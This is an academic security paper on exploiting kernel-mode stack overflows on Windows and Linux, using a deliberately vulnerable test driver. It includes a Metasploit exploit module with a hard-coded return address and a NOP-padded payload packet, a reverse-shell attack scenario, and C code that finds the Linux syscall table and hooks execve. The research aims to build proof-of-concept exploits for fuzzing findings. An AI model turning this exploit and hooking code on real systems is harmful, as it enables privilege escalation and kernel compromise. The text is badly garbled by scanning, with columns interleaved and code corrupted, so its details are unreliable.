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Abstract Operating systems’ kernels undeniably rank among the
more prestigious pieces of software. Typically, kernel de-

This paper investigates the process of exploiting kernel- velopers are extremely advanced programmers equipped
mode vulnerabilities on Windows and Linux. First, the with a wealth of experience, and their contributions are sub
common elements of kernel-mode exploits will be intro- ject to thorough code audits and strict security guidelines
duced. Issues of Windows driver programming and exploit- So, why make kernel-mode vulnerabilities for such attrac-
ing Windows kernel-mode vulnerabilities with the Metas- tive targets?
ploit framework will be addressed next, followed by a de-
scription of an example exploit. Then, the focus will shift
to Linux and a discussion of possible vulnerability types in
kernel-mode. Finally, the integration of Linux kernel-reod
exploits with the Metasploit 3.0 framework will be discusse
on the basis of an exemplary exploit.

No doubt responsible for their high appeal is the fact that
a payload executed in kernel-space can effectively outma-
neuver virtually any security mechanism in place on the
target, because it can assume complete control over the
system. But why invest so much energy into the design
of exploits if vulnerabilities in kernel-code are extremel
rare, if there is no useful entry point for the exploits to be
. found? While kernel-code itself is traditionally relatiyel
1 Introduction more secure than most user-space applications, all modern

kernels follow a modular approach, i.e. they usually previd

Recent years have seen a dramatic rise of awareness fog framework to insert modules into the kernel. The need for
security issues in academia, the software industry and thesych a framework is perhaps most apparent in the case of
media. Considerable amounts of research have been deqjevice drivers: operating Systems are genera"y expected
icated to the detection and prevention of Vulnerabi"ties, to support a wide range of hardware and devices; obvi-
while eXpIOitation teChniques and defense Strategie@ alik Ous|y, itis impossib|e for kernel deve|0pers to have imttac
have become increasingly more creative and sophisticatedknowledge of every little device available and it is usually
Over time, even complex techniques such as exploiting heaphe responsibility of hardware manufacturers to provide de
overflows have been well documented and efficiently auto- yjce drivers that support their products. Naturally, thigyo
mated: what once required a substantial level of technicalorks if there is a well defined interface to insert software
proficiency is now available at the fingertips of everyone ca- modules into the operating systems’ kernels. Device dsiver
pable of installing the right tools or conveniently inclade  and third-party modules constitute a considerable pad-of t
in self-spreading Internet worms. Obviously, the progress day’s kernels, a part that is often not subject to the sante hig
of attackers has been matched every step of the way by neWeve| of security awareness as proper kernel-code. Nezdles
developments in intrusion detection and advancements ingg say, however, that from an attacker's perspective a devic
fields that have been traditionally been victimized (SUCh asdriver flaw is no less valuable than a kernel flaw.
memory management). It has been pointed out[3], however, Another factor that features prominently in the list of po-

that the spotlight of research has previously most promi- tial for the rising int tin k l-mod |
nently been directed at user-space applications, and that gential reasons for the rising interest in kernel-mode vul-

shift of interest towards issues in kernel-mode is ineV&ab nerabilities is the increasing popularity of 802.11 wissle

One could argue that today this shift is already in full swing EeV'CTS‘ W|reI8e;25 ffwce drll\/tgrslare typ;cally fx?cu;?d n
as discussions of kernel-mode exploitation on all opegatin ermel-space, -1 IS arelalively complex set ot pratoco

. : ifications in comparison to other level 1/2 protocols
systems are being published (e.g. [15], [3], or [11]). specl . . . . !
y gp 9. [ (3], or [11] attacks on 802.11 device drivers requires neither physical
*sk@seclab.tuwien.ac.at access nor an established network connection and potential
Tck@seclab.tuwien.ac.at vulnerabilities in the driver are usually accessible byargy



close enough to establish a wireless link, to name only a fewplenty of material about extensive research of this topic be
reasons why 802.11 device driver vulnerabilities seem suchfore and after them available from other sources (e.g., see
an attractive target. Like any device for network commu- [8], [3], or [5]). Not surprisingly, the Windows kernel-med
nication, wireless devices rely on specific communication exploits available from the Metasploit framework today are
protocols which state how certain goals (i.e. finding avail- based on considerable portions of the work above. Since we
able networks, connecting to a secured network, exchangwill be using the Metasploit exploits later on, we will ded-
ing data etc.) can be achieved. These protocols lay downicate this section to an overview of some of the important
all rules and limitations imposed on each message and detheoretic principles of these exploits. For further dstaih
fine common structures. Quite often, drivers rely heavily most of the issues introduced here, refer to [2].
on their communication partners’ strict adherence to these Kernel-mode exploits tend to be relatively more involved
structures and rules. Obviously, this works fine as long asthan their respective counterparts in userland. The reason
no partner violates any of the restrictions. Sometimes how-for this, quite obviously, lies in the complexity of kernel-
ever, hardware devices may not function properly or drivers space itself. For example, what if the exploit's payload is
fail to behave as expected or to follow the mandatory struc- executed in the context of an hard- or software interrupt?
tures. This can lead to problems or even system crashes$-urthermore, kernel libraries and interfaces are venediff
on the receiving end of the communication. When deliber- ent from those available to user-applications. Ironicaliis
ately crafting a malformed packet and sending it to a vul- fact weighs so heavy that a kernel-mode exploit will typi-
nerable host (i.e. a machine using a poorly programmed de-cally try to safely return to user-space to execute code. As
vice driver) an attacker cannot only crash the receiving hos described in[[3] this reason was also in the way the new
but may even be able to run arbitrary commands by using aMetasploit framework handles kernel-mode exploits: in a
buffer-overflow. nutshell, the idea is to load a regular user-space payldad (o
Obviously, developing an exploit is useless as long as nowhich there is an ample supply in the framework) and cre-
vulnerability is known to serve as foundation for the exploi  ate an environment from within kernel-mode that is able to
Furthermore, it is not worthwhile to create new exploits for execute the payload. In essence, this process consists of
already well-known problems as there are typically already four distinct components; bugcheck and skape [2] speak of:
exploits available, not to mention that patches and updategnigration, stager, recovery, and stage. Depending on the
have usually been released to work against such an attackactual vulnerability only a subset of these components may
It should come as no surprise, then, that this paper has &e required for successful exploitation.
connection to finding new wireless device driver vulnera-  The first stepmigration is unique to kernel-mode ex-
bilities: in a related project[10] we are currently invesi- ploits. Contrary to user-space, a process in kernel-space
ing into a new and efficient means to flamireless device ~ may be executing in the context of a hard- or software in-
drivers in an emulated environment. We hope that it will terrupt — the Windows kernel in particular operates on so
be possible to easily find potential vulnerabilities using o calledinterrupt request level§RQL). This may have sig-
fuzzer. In order to test whether a vulnerability is harmful nificant consequences: for example, a process running at
we want to be able to efficiently create proof-of-concept ex- a certain IRQL may not be able to block, reference certain
ploits, and this is where the present work comes into play: memory ranges, or to call important library routines. Thkat i
this paper will describe the process of exploiting vulnérab  to say, it may be necessary for an exploit to work to be exe-
ities in kernel-mode. Following the approach presented by cuted at a lower IRQL than where the exploit originally oc-
[3] we want to create a framework that allows for execution curred. Obviously, one possibility to achieve this isrhi
of user-space payloads in kernel-mode on Linux systems.grating the payload into a different context to be executed.
In the following sections we will explain the general ideas In general, there are different strategies to choose from —
behind the approach, followed by an in-depth description of which one to apply is usually dependent on the exploit in
an exemplary Windows- and Linux-exploit. guestion. Here are some migration strategies described in

[2]:

e Itis possible tadirectly adjust the IRQL . While this
is perhaps the easiest and most straight forward ap-
proach, it may potentially result in serious crashes or
deadlocks if simply leaving the higher IRQL leads to
an illegal state (e.g. if the interrupt had acquired a
lock prior to the exploit that now unexpectedly stays

2 Windows kernel-mode exploits

In bugcheck and skape discuss the theory of kernel-
mode exploits on Windows at great length. There is also

1Fuzz testingor simplyfuzzing is a software testing technique devel-

oped at the University of Wisconsin-Madison that has pravedicularly in place).
effective in detecting potential security vulnerabilitiem protocol imple- ) ) )
mentations. e Another popular technique of payload migration works



by System call hooks Basically, the idea is to replace
the pointer to the system call dispatcher routine with a
pointer to the payload. Obviously, the payload must be
copied to a readily accessible and unused location for
this to work.

e The next scenario discussed by bugcheck and skape in-
volves Windows'thread notify routine . Analogously
to the system call hooks described above, for this strat-
egy to work the payload must be copied to a suitable
memory location, where it will be available when the
notify is called. Depending on the Windows version
the process of registering a thread notify routine differs
(see[2] for details), but in essence a callback structure
or a simple pointer to the payload must be installed, so
that the payload will be called every time a thread is
created or deleted.

¢ In [5] Conover suggests yet another similar technique:
hooking object type initializer procedures The idea
here is to replace callbacks in the object manager for
a certain object type. That way, the payload will be
called for example every time an object of the respec-
tive type is created.

During themigration phase of the exploit, we already
mentioned that it may be necessary to copy a part of the
payload to an easily accessible memory location to be ex-
ecuted later in a safer context. The component of the ex-
ploit that is responsible for this process is also known as th
stager Typically the code to be copied by the stager will
come piggy-backed with the stager itself, but it may as well
have been planted in advance or be otherwise present some-
where in the address space already. Usually, a stageryill tr
staginga payload from kernel- to user-space, i.e. in order to
allow for well known payloads to be re-used in kernel-mode
exploit scenarios. Not surprisingly, stagers come in diffe
ent flavors, for example:

e The first approach works in combination with the sys-
tem call hook migration technique described earlier,
bugcheck and skape call this thgstem call return

the system call as usual. When the call returns it will
return via the payload back to the original process.

The next technique is mentioned in [2] and discussed
at length in [8], Thread Asynchronous Procedure
Calls (APC). Once again, the payload must be stored
somewhere in userland. Then, a suitable thread within
a user-mode process must be identified. For obvious
reasons this should be a privileged process in most
cases. Furthermore, the thread in question must be in
the alertable state, in order to allow for an APC being
gueued to it. In a nutshell, the stager has initialize the
APC structure and point the APC routine to the pay-
load’s location. Finally, the APC must be added to the
thread’s APC queue, and the payload will be executed
in the context of the privileged user-mode process.

A user-mode function pointer hookis another option

for a stager, if the exploit is already executed in the

context of a process. Basically, the stager could redi-
rect any function pointer of that process to the user-

mode payload. Obviously, this approach depends very
much on the vulnerable process itself.

Very effective, from an attacker’s perspective, is the
SharedUser Data system call hook The SharedUser-
Datastructure on Windows XP starting with SRen-
tains function pointers to the system call dispatcher
and return routines at a well known offset; these point-
ers are used by all system call stubs [2]. The stager it-
self works as follows: at first, as usual, the user-mode
payload must be copied to an appropriate memory lo-
cation; secondly, the function pointer to the system call
dispatcher must be changed to the new location of the
payload; at the end of the payload a jump instruction
to the real dispatcher routine must be added, in order
for the system calls to still be processed. A big ad-
vantage of this staging technique is that it does not re-
quire prior migration, becausgharedUserDataannot

be paged out and can therefore be accessed regardless
of the IRQL [2].

So far, we have frequently mentioned the payload that

address overwritestager [2]. Again, the firststepisto | ultimately be executed, so a few words on the topic
copy the payload to be executed to a suitable memoryseem in order. Obviously, the whole point of the exploit is

location. In this case we are dealing with a user-spacey, execute this payload. After migration, the stager pus th
payload, so the location should be somewhere in the yayi0ad in place and ensures that it will be executed either
user part of the virtual memory address space. Next, i yser- or kernel-mode in the desired context. As you will
the hook for the system call instruction must be set. probably have guessed by now, this payload is also called

Now, when a system call is executed, the hooked rou- {he stagecomponent of the exploit. Usually, the stage will
tine alters the return address of the user-mode stack to

point to the payload. Also, the original return address 2Actually, SPO featured an executalSbaredUserDatavhich directly

must be saved somewhere in order to divert back to executed theysenteiinstruction. Since XP SP2 and 2003 SP1, however,
this instruction set has been replaced by function pointegsause it is

the calling process_af_ter the payload has exeC_Uted SUCHow possible to marlSharedUserDatanon-executable in the Permission
cessfully. When this is done, the hooked routine calls Table [2].




be a regular user-mode payload, i.e. it may open a reverse: wrsratus
. . 2 Si | Devi ceCo |
shell or carry out another nefarious deed of your choice. If 5 X rovi ot cRIECT bevi ceapiec
. . . . . 4 INPIRP I
the stage is designed to run in kernel-mode the staging priors ) P

to its execution may not be necessary. See [8] for a number7 U o staa Locamon i s

of examples of actual kernel-mode stages. 9 woe Thbut Long e | TonSUESS
PCHAR i nBuf ;
Up until now, we have given an overview of a number 11 PO il = NLL;
PCHAR buffer = NULL;

of techniques used to install and execute a kernel-mode eXi3
irpSp = loGetCurrent!rpStackLocation(lrp);

ploit's payload. An important issue that we have not ad- i? | PeuTLength = i ¢pSp->Par ame 5. Devicel 0Cont o | nput Bt er Lengt
i i nBuf Leng

dressed yet, is the issue of gracefetoveryfrom the ex- T U atus - STATLS.| AL b PARIETER

ploit process. For obvious reasons it is not an option to 19 | woto &

simply let the kernel crash after the stage has been indtalle 21

as this will only lead to a BSOD and the stage may neverzs

switch (irpSp->Paraneters. Devicel oControl .| oControl Code)

case | OCTL_SI OCTL_METHOD_| N_DI RECT:

even be completed. 25 PnBuf = Trp- >Associ at edl rp. Syst ensuf fer;
buf fer = MrGet Syst emAddr essFor Mil Saf e( | r p- >Mdl Addr ess,
Evidently, recovery techniques depend intimately on the 27 Nor mal PagePr i or i ty);
type of exploit and where it occurs in the kernel: a stack gg i(tbutten
overflow will require different steps to be taken to resume 3. ni Status = STATUS | NSUFFI I ENT_RESOURCES
ordinary control flow than, for example, a heap overflow. In 3 }
fact, individual recovery strategies may differ to suchane % Poi nt Of NoRet ur n(i nBuf , i nBuf Length) ;  (A)
tent from each other (depending on the actual exploit they37 Lp>l oStatus. [nformtion = 3
are suited to recover from) that the question whether or not39 oo
it is feasible to design generic recovery payloads that Work41 niStatus = STATUS | NVALI D_DEVI CE_REQUEST;

br eak;

efficiently for a range of exploits, is very much in contro- 43 }
versy. Nevertheless, [2] discusses a number of scenar|0§ End:

Irp->loStatus. Status = ntStatus;

with potentially useful recovery strategies. If the vuker 3; I oConpl et eRequest (I 7p, 1 O_NO_I NCRENENT )

return ntStatus;

ability is in the context of a function that is assigned to an «
exception handler, an easy recovery might be to simply rig- ¢ fnctionPointOfNoReturihat is called at (A) is our

ger an exception, and the computer will not crash. Other,,neraple function. If the information read from the devic
scenarios include to force a system worker thread to restartg large enough, i.e. ihBufLengtHs greater than 256, there
execution at its entry points, or, in cases where the vuIner—Wi" be a stack-éverﬂow ifPointOfNoReturn ’

ability does not occur in a system-critial thread, to cause

the thread to spin or block indefinitely (for details see [2]) » (*° ™™ n(PouR urter, o buferten
The problem of all of these scenarios is their dependence:  ciar wyroosmi i eufer( 5121

on no locks being held: it would be disheartening indeed, ¢ ™" "@/Teesm eerter pufer, bufferien:
to recover eleganlty from the exploit only to be caught in a
deadlock. For this reason, it would be desirable to have a
simple and efficient means to generically release all locks
currently held by the thread of execution in which the vul-
nerability occurs. However, we are not aware of an elegant
solution of this issue.

In order to simulate a remote exploit, and to enable us to
use a separate machine to deliver the exploit, we also added
a second windows application that would open a socket,
wait for incoming messages, and forward them to the file
device.

2.2 Exploiting the driver

2.1 Windows driver programming _ _
A lot of the research presented in [2] and [3] has found its

A lot of information on how to write Windows drivers way into the Metasploit framework. Starting with version
is available from [16]. We used the Kernel-Mode Driver 3.0 it is possible to use the framework for kernel-mode ex-
Framework of the Windows Driver Foundation to write a ploits, with many Windows modules (e.g., stager, recovery
simple driver for a file device. With the driver in place, we etc.) already included. In section B.1 we provided a gen-
had to create a vulnerability to exploit. In section 3.2 we eral introduction to the Metasploit framework, here we will
describe types of kernel-mode vulnerabilities on Linux; in explain how we can use it to exploit our stack-overflow vul-
theory, these types also apply to Windows, albeit with a few nerability.

differences. For the present work, we decided to focus on  The new kernel-mode exploits in Metasploit all make use
stack-overflow vulnerabilities. For this reason we created of the mixin moduleExploit::KernelMode Basically, the
vulnerable function to be called by tisgoctiDeviceControl ~ mixin replaces the selected payload by a new kernel-mode
assigned to our file device. payload that encapsulates the original code. Currenty, th



available payloads include recovery and stager code fors

Windows XP SP2/2K3 SP1 Recovery works either by

thread spinning (this may affect system performance andcs

connect
60 sock. put (creat e_packet)
61 handl er
di sconnect
end

could result in a deadlock) or restarting the idle thread by ¢

jumping back to the entry point d€ildleLoop (the correct

address of this symbol must be set in advance). As regard§8
stagers, we have already explained that they are responsi-

ble of stagingthe final payload. i.e. to copy it to a suitable
location and execute it directly or indirectly. The curtgnt
available Metasploit stageud_syscallhook stages a user-
mode payload in an unused portionStiaredUserDatand
points theSystemCalhttribute to it. In a nutshell, this will

66
67 end
end

Notice how, in theinitialize function we are defining
stager and recovery modules to be used (at A and B). Fur-
thermore, at (CXKildleLoopAddresamust be set accord-
ing to the target operating system for the recovery to work.
Since we are using TCP to transmit the exploit, we are using
Metasploit's Exploit::Remote:: TCPmixin, which supplies

result in the payload’s execution every time a user-mode a number of convenient functions (e.g., connect, discannec
process makes a system call. Additionally, the stager check etc.). Theexploit function itself is trivial: simply connect

that it is actually running in the context of a user-mode sys-

to the target, deliver the exploit and disconnect. Obvigusl|

tem process before running the embedded payload, and ithe interesting stuff happens aneate packetwhich needs

utilizes one of the above recovery techniques.

So, how can we use all these elements to actually exploit

our vulnerability? Basically, we need to write a new Metas-

ploit module that includes thExploit::KernelModemixin.

Such a module might look as follows:

1 require 'nsf/core’

2

3 nodule Msf

4

5 class Exploits::Wndows::Driver::VulnDriver_Wndows < Msf::Exploit::Renote

6

7 include Exploit::Remote:: Tcp

8 incl ude Exploit::Kernel Mode

9

10 def initialize(info = {})

11 super (updat e_i nfo(i nfo,

12 ' Nane’ = ...,

13 ' Description’ = ...,

14 ' Aut hor’ = ...,

15 ' License’ => MSF_LI CENSE,

16 ' Version’ = ...,

17 ' Ref erences’ = ...,

18 "Privileged => "true",

19 ' Defaul t Options' =>

20

21 "EXITFUNC => 'thread’,

22 }

23 ' Payl oad’ =>

24

25 ' Space’ => 400,

26 }.

27 'Platform = 'win,

28 ' Targets’ =

29 [

30 # Wndows XP SP2 install nedia, no patches

31 # 5.1.2600.2180 (xpsp_sp2_rtm 040803- 2158)

32 [ "Wndows XP SP2 (5.1.2600.21800), A5AGU.sys 1.0.1.41",

33 {

34 ' Ret”’ => 0x804ed5cb, # jnp esp

35 'Platform =>"'win',

36 ' Payl oad” =>

37

38 ' Ext endedOptions’ =>

39 {

40 ' Stager’ => 'sud_syscal | _hook’, (A)

41 ' PrependUser’ => "\x81\ xC4\ x54\ xF2\ xFF\ xFF", # add esp,
-3500

42 ' Recovery’ => "idlethread_restart’, (B)

43 ' Ki I dl eLoopAddr ess’ => 0x804dcOc7, (C)

a4 }

45 }

46 }

47 ]

1
' Defaul t Target’ => 0

regi ster_options(

Opt : : RPORT( 55555)
55 ], self.class)

end

def exploit

3There is also a migration module included in version 3.0 but mas
implemented at the time of writing.

to be defined to complete our module.

def create_packet
# fill up the buffer
buf = rand_text(512)

# Return address is a jnp ESP
buf += "AAAA" # saved stack frane
buf += [ target.ret ].pack('V ) # return address

©CO®NOU A WNRE

# add padding that overwites the argunents passed
# to the vulnerable function on the stack
buf += "\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"

# append the payl oad
buf += payl oad. encoded

buf
end

The first part of the packet contains enough random bytes
to fill up the buffer in our vulnerable device. Then, comes
the actual exploit: we overwrite the return address on the
stack with the addre$sof a jmp *espinstruction. The
padding on line 10 we found to be necessary. Finally, the
payload is appended at the end of the packet. Remember,
that this payload can be any user-mode payload available
in Metasploit, and is wrapped by the kernel-mode exploit
module. In other words, the entire exploit packet on the
wire will look something like this:

1

2

3

4 # 512 random byt es

5 41 41 41 41 CB D5 4E 80 # saved eip and ret

6 90 90 90 90 90 90 90 90 # paddi ng

7 90 90 .. .. .. .. .. ..

8 R # sud_syscal | _hook stager

9 # idlethread_restart recovery
10

11 # stage (any user-npde payl oad)

Now, an actual exploit scenario may be as follows: load
the the vulnerable driver on the target machine. Log in as
a regular user (no superuser privileges) and start thetclien
application that listens for an incoming exploit; this eresu
that the exploit will be triggered by an unprivileged user.
On the attacking machine, start Metasploit select the ex-
ploit and a suitable payload, e.g. a remote reverse shell and

4Obviously, this address must be known in advance. In our exampl
the value is set in thmnitialize function. For our Windows XP SP2 target
we picked the addre€x804ed5ch



launch the attack. If everything works, the attacker is now  In addition to registering with the correct major-number,

able to send arbitrary commands to the target. These coma char module usually implements at least dipen, close,

mands will be executed without the limitations of the user read, and write system calls. Unlike a regular file, char

who triggered the exploit. nodes can generally be accessed only sequentially (althoug
exceptions are possible).

3 Linux kernel-mode exploits Block devices. From a user's perspective, block devices

. _ . seem very similar to char devices: they are also represented
Like on Windows, considerable amounts of research havepy filesystem nodes, as in

been dedicated to a close investigation of the intricatéxwor
ings of kernel-mode exploits on Unix and Linux systems, ] ] )
e.g. see [9], [15], [14]. Despite this, Metasploit does not W|th_ major- and _mlnor-numb_ers (but notice the "b" at fthe
yet include modules and wrappers for kernel-mode exploits P€ginning). Unlike char devices, however, block devices
on Linux. In our present and future work, we hope to help (like hard-disks) can host a filesystem and support only I/O
add this missing functionality to the framework. In the fol- Operations that move entire blocks of data. This fact is usu-
lowing sections, we will discuss a number of general issues@lly hidden to user-space applications and only apparent in
that come into play when trying to exploit vulnerabilities the way data is managed internally by the kernel and the
in Linux kernel-space, and document the process of devel-module.

oping and exploiting a vulnerable driver, modelled on the

example presented in the previous chapter. Network interfaces. The different nomenclature already
hints at the different nature of network modules as opposed
to the two classes described above. Typically, a network
interfaceis a hardware device capable of transferring data
to and from other hosts in a network (although exceptions

1 brwrw--- 1 root disk 8 0 2007-09-30 12: 34 /dev/sda

3.1 Linux device drivers

Linux distinguishes between three different classes of de- ; : )
vices: character, block and network devices. Typically, &€ Possible, e.g. the loopback interface). These intesfac

driver code that manages access to these devices lives i2ve no directrepresentation in the filesystem, becauge the
modules. Linux kernel modules can either be loaded and@'® Not stream-, but packet-oriented. As such, they de-

unloaded at run-time, or be compiled into a monolithic ker- Pend oninherently different /O operations and are tyjpjcal
nel. made available to the system not via the filesystem, but by

The distinction into three classes is necessary, becaus@ Unidue interface name (e.g. eth0).
devices and the way the operating system accesses them
can differ considerably. Here is a quick overview of the 3.2 A simple character device driver
three classes (for more detailed information on Linux de-

vice drivers refer ta [7]): In the introduction we briefly mentioned our related project

of fuzzing wireless device drivers [10]. While our work ulti-
mately aims at automated exploitation of vulnerabilitiés o
Character devices. Similar to a file, this type of device wireless drivers detected by our fuzzer, it is our intention
can be accessed as a stream of bytes. A character (chagt this point, to create a framework that allows for exploita
device is represented in the Linux filesystem by a node with tion of vulnerabilities in kernel-space in general, notited
a major- and a minor-number. Typically these nodes can beto vulnerabilities that occur in a wireless network device
found in the/devdirectory, for example driver. Because char modules are less complex than their
1 crwrwrw 1root root 5 0 2007-09-30 12:50 /devitty network counterparts, and because it is considerablyreasie
) S ~ to set up a test-environment using char nodes, we decided
is a character device (indicated by the "c” at the begin- 1o pegin by exploiting a flaw in a char device driver. Future
ning of the permission field) with a major-number of 5 and \york will include network modules for testing as well.
a minor-number of 0. These filesystem nodes are either cre- Having decided upon the type of module to act as tar-
ated by the kernel at boot-time (e.g. in the case of a serialget for the exploit, we faced the question of what class of
port) or by the user. In order to access a device a moduleynerability to choose. But what kind of vulnerabilities
registers itself in the kernel with the node’s major-number gre there in Linux kernel-space? In [15] sgrakkyu and twiz

i.e. when itis loaded the module lets the kernel know that it jgentify four categories into which to place flaws in the ker-
will be responsible for a node with a certain major-number. g|:

Minor-numbers are used to differentiate between multiple
devices or nodes within a module responsible for the re- e NULL/user-space dereference vulnerabilitieoccur
spective major-number. if a stray pointer into a part of the virtual address space



reserved for user-space is used. By mmapping the re-tention particularly on stack-overflows (future work witki
spective virtual memory page it is possible to make the clude other types of vulnerabilities). One reason for the
kernel access "valid” malicious data. If the pointer’s strong appeal stack-overflows had on us, is the fact that af-
dereferencing occurs in the context of an instruction ter trashing the stack and hijacking the control-flow it is
pointer modification an exploit is possible by simply mandatory to return safely (otherwise the system will be-
placing shellcode at the desired memory location. If come unusable). But more about this further below. An-
the dereferencing of the pointer does not involve direct other reason for our choice was that we wanted to use the
instruction pointer manipulation, it may still be possi- same type of vulnerability as on windows (see above).

ble to exploit the vulnerability by way of a controlled In order to start having fun with kernel-mode exploits we
write of arbitrary (or not so arbitrary) data to kernel- wrote a simple dummy char module and created a node to
space. access it from the filesystem. In the module/ste func-

tion, i.e. the function that handles writes to the node/de-
vice, we copied the input into kernel-space and used it to
call our vulnerable function, where it would then be writ-
ten to a buffer on the stack. At this point, it was possible
to overwrite the function’s saved instruction pointer, giyn

by writing to the filesystem node.

e Heap- or slab-overflows Although it is probably go-
ing to be replaced by the new SLUB allocator in the
near future, most Linux systems today use the SLAB
allocator to accelerate the allocation and deallocation
of small memory objects. Basically, this allocator in-
troduces a new level of abstraction by managing con-
tinuous memory pages and providing an interface to
kernel processes tallocate and free memory faster
and more efficiently. More detailed information about
kernel memory management and the slab allocator is
available from|[[1] or [7]. In theory, slab-overflows
function similarly to heap-overflows in user-space ap- 1 .

. . . . 12 /* make sure we do not overflow the static buffer */
plications: the overflow occurs when data is written 13 if (fength > MXLEN Tength = M LEN
beyond the boundaries of a memory object previously 15 white (length { _
. X 16 get_user (*(ptr++), meg++); (A)
allocated bykmalloc This can lead to different ex- v Longth e
ploitation scenarios (see [15] for an in-depth discus- 22
sion and aworking exp|0it)_ 21 /+ call the vul nerable method */

22 Poi nt Of NoRet urn(buffer, bytes_witten); (B)
23 return bytes_witten;

e Theoretically, stack-overflowsin kernel-space work >
no differently from stack-overflows in userland. The
main difference, however, is the kernel-stack itself: on
Linux it is usually only one or two pages (i.e. 4 or
8 kilobytes) in size, and one characteristic of kernel
code often is to use as little stack space as possible
With the exception of frame pointers (the Linux kernel
is compiled with-fomit-frame-pointey a kernel stack-
overflow vulnerability could allow overwriting of the
saved instruction pointer or some variable. Because o
the kernel-stack’s limited size, the overflow could also
result in the overflowing of the memory allocated for
the kernel-stack itself. Stack overflows in kernel-space
are discussed in [9] by noir in more detail and also fur-
ther below.

1 static ssize_t

2 dev_write(

3 struct filex filp,
4 const char* nsg,
5 size_t length,
6 loff_t+ offset
7 )

8

9

10

int bytes_witten = 0;
char* ptr = buffer;

The listing above shows the function assignedtroict
file_operations.write As you can see, at (A) we are copying
the input from user-space into a static buffer in kernelespa
At (B) we call the same vulnerable function we used for the
Windows exploit earlier. If the length dfufferexceeds 512
the kernel-stack ifPointOfNoReturmwill overflow.

In order to allow us to send exploit-code from a remote
ghost, we again wrote a simple helper-application that would
open a TCP port and wait for incoming exploit packets to
write to the vulnerable device. So, with all the pieces in
place, we were again ready to start with the exploit.

3.3 Exploiting the driver
e A fourth category is set aside for different kinddog- ]
ical bugs (in [15] sgrakkyu and twiz elaborate oace BecaL_lse the Metas_;plon framework had worked so well for
conditions in particular). These kinds of bugs are dif- the Windows exploit, we decided to try to base a Linux ex-
ficult to define, because essentially every bug is uniquep|0't as closely as possm?le on the techniques descrlbgd in
and cannot usually be exploited directly, but rather has chapter 2. We resolved, in other words, to "port” the Win-
the potential to result in another class of vulnerability d0OWS exploit over to Linux, by retaining the logical distinc
eventually (typically an overflow). tion between migration, stager, recovery and stage and us-
ing Metasploit as a framework for the exploit. This section
For the scope of this paper we decided to focus our at-will document this process.



3.3.1 Migration

struct {
unsi gned short limt;
unsi gned int base;
} __attribute__ ((packed)) idtr;
/1 an interrupt gate descriptor
struct {
unsi gned short off1;
unsi gned short sel;
unsi gned char none, flags;
unsi gned short off2;
} __attribute__ ((packed)) *igd;

Migration was not necessary for our exploit, but it is def-
initely an issue that also applies to Linux kernel-mode ex-
ploits. We plan to address it in our future work.
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3.3.2 Stager

static unsigned |ong++* sct(void)
{ N N
int i =0;
unsi gned | ong *sys_call;
unsigned | ong **sys_cal | _table;
unsi gned char *p;

For our stager we chose to use a similar approach as withs
the Windows exploit, i.e. installing aystem call hook i
The first problem to solve when attempting to install the zo
hook, is to actually find the system call table. Typically th
syscall_tablesymbol is not exported to LKMs anymore and 2
its location obviously varies from installation to instlbn. 2
In a word, it is necessary to search the kernel address-spacg
for its actual location. To do this, we used an adjusted ver-
sion of the excellent method presentedin [14]. Becauses

21 /1 (1) find idt_table
22 __asm_("sidt 9®" : :"nf(idtr));
/11 (2) find systemcall

igd = idtr.base + 8+x0x80;

26 sys_call = (igd->off2 << 16 ) | igd->off1;
/1 (3) find sys_call _table
/11 ff 14 85 XX XX XX XX call <sys_call _tabl e>(, %ax, 4)
sys_cal |l _table = 0x0;

p = (char+)sys_call;

. . 3

Linux supports user-mode programs to Issue a system Ca'Eg 4/ C?eck 1Dhe fi riBDlOO b;ft ?s in systemcall
. . . . . or = ;1< N

via interrupt number 128 (by using the assembly instruction s it ((+(longs)++p << 8) == 0x8514f{00) {

int $0x80 the respective interrupt handler (the system call Eé
dispatcher) must call the correct system call. To achievezui
this, the dispatcher routine reads the system call id fran th 4

registereaxand uses it as an offset from the base address of

the system call table. That is to say,

sys_cal |l _table = =(long*)(p+3);
break;

}

return sys_call _table;

}

As you will remember, the whole idea of tktagercom-

somewhere close t0 theygnent is to set up a (user-mode) payload to be executed

beginning of the system call dispatcher routine there is the | 5ter With the address of the system call table in our pos-

following instruction:

1 ff 14 85 XX XX XX XX cal | <sys_call _tabl e>(, %ax, 4)

WhereXX XX XX XXs the address of system call table.
That s to say, if one finds the dispatcher routine, the addres
of syscall_table can be found by a pattern matching algo-
rithm. That being said, the system call table can be located
as follows:

1. Find the Interrupt Descriptor Table . Linux initial-
izes the IDT during system initialization and saves the
location in theidtr register [1]. The assembly instruc-
tion sidt provides reading access to this vlue

. Find the system call dispatcher In Linux, the IDT is
stored in thedt_tablesymbol. It consists of 256 8-byte
idt_descrelements [15], the 128th of which contains a
pointer to the system call dispatcher routine.

. Find the system call table As we mention earlier,
the dispatcher routine will issue a call that follows the

session, we are now able to install hooks for our payload to
be executed later, but a number of questions remain: which
system call to install the hook for? Where should we store
the payload? And how can we ensure that privileged user-
mode code-execution is possible?

In answer to the second question, we took up the sug-
gestion in[[15] and used the IDT to store our payload. We
already mentioned, that the IDT consists of 256 8-byte en-
tries. Because the entries between number 33 and 127 are
currently unused by Linux, there should be roughly 800
bytes of space available for our purposes. So, in other words
we can copy our payload to this address (assurdtigvas

initialized, see above):

1
2

igd = idtr.base + 8 * 0x33;
payl oad_address = (igd->off2 << 16) | igd->off1;

The other two questions we solved by hooking the
sysexecvesystem call. Since the values @yscall_table
are unlikely to change, we assume it is safe to simply
change the _NR execveentry in order to install our hook.
As observant readers will not fail to notice, our approach is

above pattern. That means we can search the beginnindit of a gamble, because we have no way of knowing which

of the function for the call and extract the address of
the system call table from it.

The following code listing illustrates this process furthe

5When experimenting in the kernel-space, numerous crasheseand r
boots are inevitable. For this reason we did most of our work virtual
environment (using QEMU), and we should point out tdt assembly
instruction will probably not work as expected on a virtuash

user will next callsysexecve That is to say, code-execution
may not happen in a superuser context. To address this and
other issues, we intend to come up with further stager strate
gies.

The following code snippet illustrates how to install the
system call hook:

1 sys_cal | _tabl e[ __NR execve]

payl oad_addr ess) ;

= (unsigned int)((unsigned charx)



3.3.3 Recovery a8

As we have already outlined in chapter 2, recovery from ?2
an exploit is of particular importance in kernel-space. At 53
the time of writing, our exploit does not use any recovery 55
strategies yet, i.e. the vulnerable module keeps crashing. 57
general, the situation is much worse on Windows (BSOD) so
than on Linux where the module crashes but the karrast 61
remain usable, but obviously this is not a satisfying soluti ¢

[15] outlines a recovery strategy for stack-based exploits Eg
